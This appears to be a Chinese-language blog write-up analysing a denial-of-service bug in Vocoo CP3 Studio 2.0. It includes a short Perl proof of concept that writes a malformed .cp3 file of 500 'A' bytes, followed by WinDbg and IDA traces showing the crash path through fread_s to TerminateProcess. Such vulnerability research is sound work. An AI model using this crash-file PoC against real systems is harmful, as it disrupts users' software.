作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/916b045a5cd8d7a0730ac270be23071c-cp3studio_setup.exe
PoC:
#!/usr/bin/perl
print "|------------------------------------------------------------------|\n";
print "| __ __ |\n";
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";
print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n";
print "| |\n";
print "| http://www.corelan.be:8800 |\n";
print "| |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] Vocoo CP3 Studio 2.0 Dos. . .\n\n";
sleep(2);
my $play = "tunes.cp3";
my $buffer = "\x41" x 500;
open(FILE,">$play");
print FILE $buffer;
close(FILE);
print "[+] Music Provided by chap0 visit www.corelan.be:8800\n";
测试环境:
windows xp sp3
可以直接用linux下的perl生成一个cp3文件,之后通过CP3 Studio PC打开,会触发程序崩溃。
漏洞复现
此漏洞是在CP3 Studio软件中,对于文件读取的处理函数fread_s中专设置了对异常情况的检测,当出现异常指针,缓冲区溢出等情况时,会进入异常行为处理函数__invalid_parameter,但问题在于fread_s为自定函数,并非系统dll中安全函数read_s,所处理机制不太一样,在此函数中,会调用__invoke_watson,从而使程序终止。那么利用异常的cp3文件,即可触发这个异常行为函导致程序中断,in下面对此漏洞进行详细分析。
首先生成一个样本文件,打开cp3 studio,打开样本文件,程序崩溃,附加windbg
eax=7ffd4000 ebx=00000004 ecx=00125e60 edx=7c92e4f4 esi=00000001 edi=41414141
eip=7c92e4f4 esp=001260cc ebp=001260dc iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ntdll!KiFastSystemCallRet:
7c92e4f4 c3 ret
可以看到,直接到了KiFastSystemCallRet,这时强制终止进程调用的函数,我们通过kb查看一下堆栈调用。
0:000> kb
*** WARNING: Unable to verify checksum for C:\Program Files\Incorep\CP3Studio\Cp3Studio.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Incorep\CP3Studio\Cp3Studio.exe
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
001260dc 00440163 ffffffff c000000d 00000000 ntdll!KiFastSystemCallRet
00126178 7c930ee4 7c931066 7c9301bb 00001000 Cp3Studio+0x40163
00000000 00000000 00000000 00000000 00000000 ntdll!wcsncpy+0x985
进入程序领空地址00440163看一下函数。
.text:00440151 loc_440151: ; CODE XREF: __invoke_watson+C6j
.text:00440151 ; __invoke_watson+CAj
.text:00440151 push 0C000000Dh ; uExitCode
.text:00440156 call ds:GetCurrentProcess
.text:0044015C push eax ; hProcess
.text:0044015D call ds:TerminateProcess
.text:00440163 mov ecx, [ebp+2A8h+var_4]
调用了TerminateProcess强制终止进程函数,而此loc位于__invoke_watson这个程序自定义函数中,那么我们就由此入手来看一下为什么会造成程序中止。
漏洞分析
此漏洞我们仍然不能从__invoke_watson函数入手,到达此函数时程序已经进入程序自己的异常处理函数了,我打算用正向定位关键点的方法分析这个漏洞。
首先此文件读取肯定伴随着程序打开的操作,那么我在fopen下断点即可,用ida找到系统自定义的fopen函数的位置。
.text:00440ACC ; FILE *__cdecl fopen(const char *, const char *)
.text:00440ACC _fopen proc near ; CODE XREF: sub_4991C0+109_x0019_p
.text:00440ACC
.text:00440ACC arg_0 = dword ptr 4
.text:00440ACC arg_4 = dword ptr 8
.text:00440ACC
.text:00440ACC push 40h ; int
.text:00440ACE push [esp+4+arg_4] ; char *
.text:00440AD2 push [esp+8+arg_0] ; char *
.text:00440AD6 call __fsopen
.text:00440ADB add esp, 0Ch
.text:00440ADE retn
.text:00440ADE _fopen endp
在00440ACC位置下断点,重新加载程序,程序中断。
0:003> bp 00440ACC
*** WARNING: Unable to verify checksum for C:\Program Files\Incorep\CP3Studio\Cp3Studio.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Incorep\CP3Studio\Cp3Studio.exe
0:003> g
ModLoad: 76d70000 76d92000 C:\WINDOWS\system32\appHelp.dll
ModLoad: 76590000 765de000 C:\WINDOWS\System32\cscui.dll
ModLoad: 76570000 7658c000 C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 75ef0000 75fed000 C:\WINDOWS\system32\browseui.dll
ModLoad: 76960000 76984000 C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76af0000 76b01000 C:\WINDOWS\system32\ATL.DLL
ModLoad: 7e550000 7e6c1000 C:\WINDOWS\system32\shdocvw.dll
ModLoad: 75430000 754a1000 C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76f30000 76f5c000 C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 017d0000 01d19000 C:\WINDOWS\system32\xpsp2res.dll
Breakpoint 0 hit
eax=001265d0 ebx=004b1fb0 ecx=00ac4c58 edx=001265d0 esi=004e204f edi=0012a13b
eip=00440acc esp=00126484 ebp=0012650c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Cp3Studio+0x40acc:
00440acc 6a40 push 40h
通过kb,我们可以回溯到之前调用的位置。
.text:004817FB loc_4817FB: ; CODE XREF: sub_4812C0+9Ej
.text:004817FB push offset a_cp3_1 ; ".cp3"
.text:00481800 mov ecx, [ebp+var_14]
.text:00481803 push ecx ; char *
.text:00481804 call __stricmp
.text:00481809 add esp, 8
.text:0048180C test eax, eax
.text:0048180E jnz loc_481ACA
.text:00481814 lea ecx, [ebp+var_3A48]
.text:0048181A call sub_498EF0
.text:0048181F mov [ebp+var_4], 0Bh
.text:00481826 mov edx, [ebp+lpFileName]
.text:00481829 push edx ; char *
.text:0048182A lea ecx, [ebp+var_3A48]
.text:00481830 call sub_4991C0
分析一下这段汇编代,在00481804地址的位置,程序会对打开文件的扩展名进行一次比对,只打开cp3结尾的文件,接下来在00481830处调用了sub_4991c0这个函数,此函数就是漏洞函数,跟入这个函数。
.text:004992C0 push offset aRb_4 ; "rb"
.text:004992C5 mov ecx, [ebp+arg_0]
.text:004992C8 push ecx ; char *
.text:004992C9 call _fopen
004992c9地址就是刚才下fopen断点的外层调用,我们在外层调用下断点,重新附加程序继续跟踪。
Breakpoint 0 hit
eax=001265d0 ebx=004b1fb0 ecx=00ac4c58 edx=001265d0 esi=004e204f edi=0012a13b
eip=004992c9 esp=00126488 ebp=0012650c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Cp3Studio+0x992c9:
004992c9 e8fe77faff call Cp3Studio+0x40acc (00440acc)
0:000> dc 00ac4c58
00ac4c58 445c3a43 6d75636f 73746e65 646e6120 C:\Documents and
00ac4c68 74655320 676e6974 64415c73 696e696d Settings\Admini
00ac4c78 61727473 5c726f74 70632e77 00640033 strator\w.cp3.d
在fopen处执行了对样本文件的打开操作,接下来。
0:000> p
eax=001265d0 ebx=004b1fb0 ecx=00ac9dc8 edx=41414141 esi=004e204f edi=0012a13b
eip=00499368 esp=00126484 ebp=0012650c iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
Cp3Studio+0x99368:
00499368 8b510c mov edx,dword ptr [ecx+0Ch] ds:0023:00ac9dd4=018d0020
0:000> p
eax=001265d0 ebx=004b1fb0 ecx=00ac9dc8 edx=018d0020 esi=004e204f edi=0012a13b
eip=0049936b esp=00126484 ebp=0012650c iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
Cp3Studio+0x9936b:
0049936b 52 push edx
0:000> p
eax=001265d0 ebx=004b1fb0 ecx=00ac9dc8 edx=018d0020 esi=004e204f edi=0012a13b
eip=0049936c esp=00126480 ebp=0012650c iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
Cp3Studio+0x9936c:
0049936c e84666faff call Cp3Studio+0x3f9b7 (0043f9b7)
0:000> p
WARNING: Step/trace thread exited
eax=7ffde000 ebx=00000004 ecx=00125e60 edx=7c92e4f4 esi=00000001 edi=41414141
eip=7c92e4f4 esp=001260cc ebp=001260dc iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ntdll!KiFastSystemCallRet:
7c92e4f4 c3 ret
可以看到在0049936c地址的调用步过到达程序终止位置,我们查看一下这个位置的调用函数。
.text:004993D7 mov ecx, [ebp+var_74]
.text:004993DA mov [ecx+3948h], eax
.text:004993E0 mov edx, [ebp+var_18]
.text:004993E3 push edx ; FILE *
.text:004993E4 mov eax, [ebp+var_74]
.text:004993E7 mov ecx, [eax+394Ch]
.text:004993ED push ecx ; size_t
.text:004993EE push 1 ; size_t
.text:004993F0 mov edx, [ebp+var_74]
.text:004993F3 mov eax, [edx+3948h]
.text:004993F9 push eax ; void *
.text:004993FA call _fread
进入fread我们看一下系统是如何定义这个函数的。
.text:0043F9B7 ; size_t __cdecl fread(void *, size_t, size_t, FILE *)
.text:0043F9B7 _fread proc near ; CODE XREF: sub_4121C0+Dp
.text:0043F9B7 ; sub_4121C0+1Ep ...
.text:0043F9B7
.text:0043F9B7 DstBuf = dword ptr 4
.text:0043F9B7 ElementSize = dword ptr 8
.text:0043F9B7 Count = dword ptr 0Ch
.text:0043F9B7 File = dword ptr 10h
.text:0043F9B7
.text:0043F9B7 push [esp+File] ; File
.text:0043F9BB push [esp+4+Count] ; Count
.text:0043F9BF push [esp+8+ElementSize] ; ElementSize
.text:0043F9C3 push 0FFFFFFFFh ; DstSize
.text:0043F9C5 push [esp+10h+DstBuf] ; DstBuf
.text:0043F9C9 call _fread_s
.text:0043F9CE add esp, 14h
.text:0043F9D1 retn
.text:0043F9D1 _fread endp
关键在于fread_s中,我们继续跟入这个函数。
这个函数中有一处异常处理。
.text:0043F91B loc_43F91B: ; CODE XREF: _fread_s+7A_x0019_j
.text:0043F91B ; _fread_s+88_x0019_j
.text:0043F91B call __errno
.text:0043F920 mov dword ptr [eax], 16h
.text:0043F926 push esi
.text:0043F927 push esi
.text:0043F928 push esi
.text:0043F929 push esi
.text:0043F92A push esi
.text:0043F92B call __invalid_parameter
当进这个异常处理时,就会到达我们之前分析到的invoke_watson函数位置。
.text:0043F91B loc_43F91B: ; CODE XREF: _fread_s+7A_x0019_j
.text:0043F91B ; _fread_s+88_x0019_j
.text:0043F91B call __errno
.text:0043F920 mov dword ptr [eax], 16h
.text:0043F926 push esi
.text:0043F927 push esi
.text:0043F928 push esi
.text:0043F929 push esi
.text:0043F92A push esi
.text:0043F92B call __invalid_parameter
通过windbg,可以跟踪到这一问题发生的始末,首先是在最外层。
0:000> bp 0049936c
0:000> g
Breakpoint 4 hit
eax=001265d0 ebx=004b1fb0 ecx=00ac9dc8 edx=018d0020 esi=004e204f edi=0012a13b
eip=0049936c esp=00126480 ebp=0012650c iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
Cp3Studio+0x9936c:
0049936c e84666faff call Cp3Studio+0x3f9b7 (0043f9b7)
0:000> dd ecx
00ac9dc8 41414141 41414141 41414141 018d0020
00ac9dd8 00030004 00080177 001a29c8 ffffffff
00ac9de8 00000000 00000000 00000000 00000000
00ac9df8 00040201 00080173 41414141 41414141
00ac9e08 41414141 41414141 41414141 41414141
00ac9e18 41414141 41414141 41414141 41414141
接下来栈中存放指针的位置会被覆盖,导edi指针寄存器获取信息异常。
0:000> p
eax=00126450 ebx=00000004 ecx=00ac9dc8 edx=018d0020 esi=00000000 edi=0012a13b
eip=0043f908 esp=00126434 ebp=00126460 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Cp3Studio+0x3f908:
0043f908 8b7d14 mov edi,dword ptr [ebp+14h] ss:0023:00126474=41414141
0:000> p
eax=00126450 ebx=00000004 ecx=00ac9dc8 edx=018d0020 esi=00000000 edi=41414141
eip=0043f90b esp=00126434 ebp=00126460 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Cp3Studio+0x3f90b:
0043f90b 3bfe cmp edi,esi
最后进入异常函数处理。
0:000> p
eax=00ac1e98 ebx=00000004 ecx=00000000 edx=00000003 esi=00000000 edi=41414141
eip=0043f92b esp=00126420 ebp=00126460 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Cp3Studio+0x3f92b:
0043f92b e849080000 call Cp3Studio+0x40179 (00440179)
0:000> p
WARNING: Step/trace thread exited
eax=7ffd9000 ebx=00000004 ecx=00125e60 edx=7c92e4f4 esi=00000001 edi=41414141
eip=7c92e4f4 esp=001260cc ebp=001260dc iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ntdll!KiFastSystemCallRet:
7c92e4f4 c3 ret